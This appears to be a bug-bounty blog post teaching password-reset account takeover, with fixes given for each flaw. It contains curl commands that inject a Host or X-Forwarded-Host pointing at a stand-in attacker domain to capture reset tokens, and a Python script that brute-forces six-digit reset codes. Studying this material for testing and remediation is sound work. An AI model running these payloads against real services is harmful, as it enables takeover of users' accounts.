Most password-reset write-ups stop at "the reset email came from a weird domain" or "the token was a bit short." That gets you a Low and a polite "informational" close. The reports that get triaged High or Critical are the ones where the reset flow hands you someone else's session: you make the application mint a valid token, land it somewhere you control, and walk in through the front door as the victim. The reset flow is the one authenticated-tier action an anonymous attacker is explicitly allowed to trigger against any account. This post is the method I use to take a reset form apart, built from accepted findings across YesWeHack, Intigriti and HackerOne programmes. As usual the value is that it is boring and repeatable rather than clever.
Why the reset flow is the softest authentication surface
Every other authentication path assumes you already hold a secret: a password, a session, an OAuth grant. The reset flow assumes the opposite. Its entire job is to bootstrap trust for someone who has lost their credentials, which means it has to be reachable pre-auth, it has to generate a bearer secret on demand, and it has to deliver that secret out of band. Three properties, each of them a bug class:
- The link is built from the incoming request, so the host in that link is attacker-influenced more often than teams think.
- The token travels through a browser, so it leaks through the same side channels every URL parameter leaks through.
- The token is a bearer secret, so its entropy, lifetime and single-use guarantees are the whole security model.
Break any one and you have a finding. Chain two and you have an account takeover that needs no interaction from a well-behaved victim.
Step 1 - Enumerate, because everything downstream needs a target
Before the interesting bugs, check what the reset endpoint tells an anonymous user: submit a known-good address and a known-bad one and diff the response body, the status code, the timing.
POST /api/auth/forgot-password HTTP/1.1
Host: app.target
Content-Type: application/json
{"email":"known-user@example.com"}
If the good address returns {"status":"sent"} and the bad one returns {"error":"no account for that email"}, you have user enumeration. Even when the bodies match, watch the latency: a real account triggers an email send and a database write for the fresh token, while a miss returns early, so the hit often responds 150 to 400 ms slower. Enumeration on its own is usually Low, but it is the feeder bug: every technique below needs a confirmed live account first, so I log every valid address the endpoint leaks before moving on.
The fix is a generic response and a constant-time path: always return "if that account exists, we have sent a link", and do the work (or a dummy equivalent) whether or not the user exists.
Step 2 - Poison the reset link with the request host
This is the highest-value reset bug and the most common. Many frameworks build absolute URLs from the incoming request, so the reset email says https://{request_host}/reset?token=... where request_host comes straight from the Host header or, worse, from a trusted X-Forwarded-Host because the app sits behind a proxy.
If that is the case, I can point the link wherever I like:
curl -sk https://app.target/api/auth/forgot-password \
-H 'Host: attacker.tld' \
-H 'Content-Type: application/json' \
--data '{"email":"victim@example.com"}'
When the framework does the equivalent of reset_url = f"https://{request.host}/reset?token={token}", the victim gets a genuine email, from the genuine sender, carrying a genuine single-use token that points at https://attacker.tld/reset?token=.... The moment they click it, my server logs the token and I replay it against the real host before it expires.
X-Forwarded-Host is the variant that catches teams who patched Host:
curl -sk https://app.target/api/auth/forgot-password \
-H 'X-Forwarded-Host: attacker.tld' \
-H 'Content-Type: application/json' \
--data '{"email":"victim@example.com"}'
A quieter variant helps when the app validates the domain but not the userinfo or port. A payload like Host: app.target@attacker.tld (the real domain becomes userinfo, attacker.tld the actual host) slips through allowlist checks that only test startswith. Also try dangling markup: if the host is reflected into the HTML email unescaped, Host: app.target/">... can rewrite the link target inside the message body.
The fix is to never build security-relevant URLs from request-controlled input. Pin the reset host to a server-side constant or strict allowlist, and configure the proxy to strip inbound X-Forwarded-Host rather than trust it. This is close kin to cache-poisoning account takeover, which turns on the same class of mistake: trusting an attacker-controlled request header.
Step 3 - Leak the token through the browser
When the victim will not click a link that points at you, the token can still escape on its own: it lives in a URL, and URLs are chatty.
The reset landing page is the culprit. It loads on https://app.target/reset?token=abc123 and pulls in third-party analytics, a tag manager, a web font, a chat widget, each of which sends a Referer header. Modern browsers default to strict-origin-when-cross-origin, which trims that Referer to the bare origin on cross-site requests, so a page left on the default leaks a third party only https://app.target. The catch is how often the default gets loosened: a Referrer-Policy: unsafe-url or no-referrer-when-downgrade set for analytics attribution, or a same-origin sink such as a self-hosted asset or an XHR back to the app, and the full URL, token included, rides along:
GET /collect?v=2&tid=... HTTP/1.1
Host: www.google-analytics.example
Referer: https://app.target/reset?token=abc123
Now the token sits in a third party's logs, and anyone who can read those logs or compromise that origin holds valid reset tokens for real users. To confirm it, load the reset page with a live token in a clean browser profile and watch the network panel: any outbound request whose Referer carries the token is your proof.
Open redirect is the second leak. If the reset flow honours a ?next= parameter, the token is still in the URL when the redirect fires, and the route serves a permissive Referrer-Policy, I send the victim through https://app.target/reset?token=abc123&next=https://attacker.tld and collect the token from my Referer logs on the other side.
The fix is Referrer-Policy: no-referrer (or at minimum strict-origin) on the reset route, moving the token out of the query string into a POST body or a fragment the server never sees, and refusing off-origin redirect targets.
Step 4 - Attack the token itself
If you cannot make the link misbehave, attack the secret. Four failure modes, in the order I test them.
Predictable tokens. Request several resets in quick succession and line the tokens up. If they are sequential, timestamp-seeded, or a short function of the current epoch, they are guessable. A token that decodes to something like md5(email + unix_timestamp) is fully forgeable once you know the address and roughly when the request fired.
Short token space. A six-digit numeric reset code is 1,000,000 values. If the consume endpoint is not rate-limited and the code is not tightly bound to a single account and window, it is brute-forceable in minutes.
No expiry, no single-use. Reset a test account, use the link, then try the same token again. If it still works, the token is not consumed on use. Generate one, wait a day, retry: if it works, there is no expiry. Both widen the window for every other technique here.
Race conditions. Fire many "consume token" requests in parallel against a token that should be single-use; sometimes two win and you learn the flow is not atomic.
A small harness to sample tokens for structure and brute a short numeric space, when the target permits it, looks like this:
import requests
from concurrent.futures import ThreadPoolExecutor
BASE = "https://api.target"
def sample_tokens(email, n=25):
seen = []
for _ in range(n):
requests.post(f"{BASE}/auth/forgot-password", json={"email": email})
# in a real test you read the token from a mailbox you control
seen.append(fetch_latest_token_from_test_inbox())
lengths = {len(t) for t in seen}
print("distinct lengths:", lengths)
print("distinct tokens :", len(set(seen)), "of", n)
return seen
def try_code(email, code):
r = requests.post(f"{BASE}/auth/reset",
json={"email": email, "code": f"{code:06d}",
"password": "Pwned!123"})
return code if r.status_code == 200 else None
def brute_numeric(email):
# only run against your OWN test account, in scope, with the
# programme's rate-limit rules understood first
with ThreadPoolExecutor(max_workers=20) as pool:
for hit in pool.map(lambda c: try_code(email, c), range(1000000)):
if hit is not None:
print("valid code:", f"{hit:06d}")
return hit
The brute-force branch is only feasible, and only ethical, when the code space is small, the consume endpoint has no real rate limit or lockout, and you are hitting an account you control or one the programme explicitly permits. Note the timing too: a valid account with a wrong code that answers slower than an invalid one is the Step 1 side channel again.
The fix is one line of policy: high-entropy tokens (128 bits of CSPRNG output, not a timestamp), single-use, short-lived, invalidated on use and on password change, with rate limiting and lockout on the consume endpoint.
Chaining it into a clean takeover
None of these are impressive alone. Stacked, they read as one narrative. Step 1 confirms victim@example.com is live. Step 2 poisons the link so the token is minted pointing at my host, or Step 3 leaks it out of the victim's browser with no attacker link clicked at all. Step 4 removes the triager's last excuse: even if delivery were clean, a token that is never invalidated stays live long enough to use. I take the captured token, POST a new password to the real host, and log in. One account owned, with the victim only ever touching genuine, correctly-signed email from the real application.
The authenticated cousin, where a logged-in attacker rewrites another user's recovery email through a broken object-level check and then fires a normal reset, is in From IDOR to Full Account Takeover. The reset flow is the version any anonymous attacker can fire at any account.
Reporting so it gets paid
Lead with the impact sentence: "An unauthenticated attacker can take over any account by injecting an X-Forwarded-Host header so the victim's password-reset link, and its valid single-use token, resolves to an attacker-controlled domain." Then give the minimal reproduction: the exact curl with the injected header, a screenshot of the email showing the attacker host in the link, and your server log capturing the token on click. Finish by replaying the token against the real host and logging in as the victim, ideally in a short video with two separate accounts.
Prove the chain, not the primitive. A Host header that reflects into an email is a Medium on its own; the same header producing a working session in someone else's account is the Critical. If the token also leaks via Referer or brute-forces, add it as a second path to the same impact so the fix cannot be a narrow one-header patch. Say plainly which control removes the whole class: a report that names the root-cause fix triages faster than one that only proves the exploit.
Takeaways
- The reset flow is the one authenticated-tier action an anonymous attacker can fire at any account, so treat it as your primary account-takeover surface.
- Never build reset URLs from
HostorX-Forwarded-Host; pin the host to a server-side allowlist and strip inbound forwarded-host headers at the proxy. - Keep the token out of the browser's chatter:
Referrer-Policy: no-referreron the reset route and no off-origin redirects with a token in scope. - Tokens must be high-entropy, single-use, short-lived and invalidated on use; a short or non-expiring token turns every other weakness into a full compromise.
- User enumeration is not a footnote, it is the feeder bug that makes poisoning, leaking and brute-forcing worth doing.
- Report the full chain as one impact narrative and name the root-cause fix; that is the difference between an informational close and a Critical.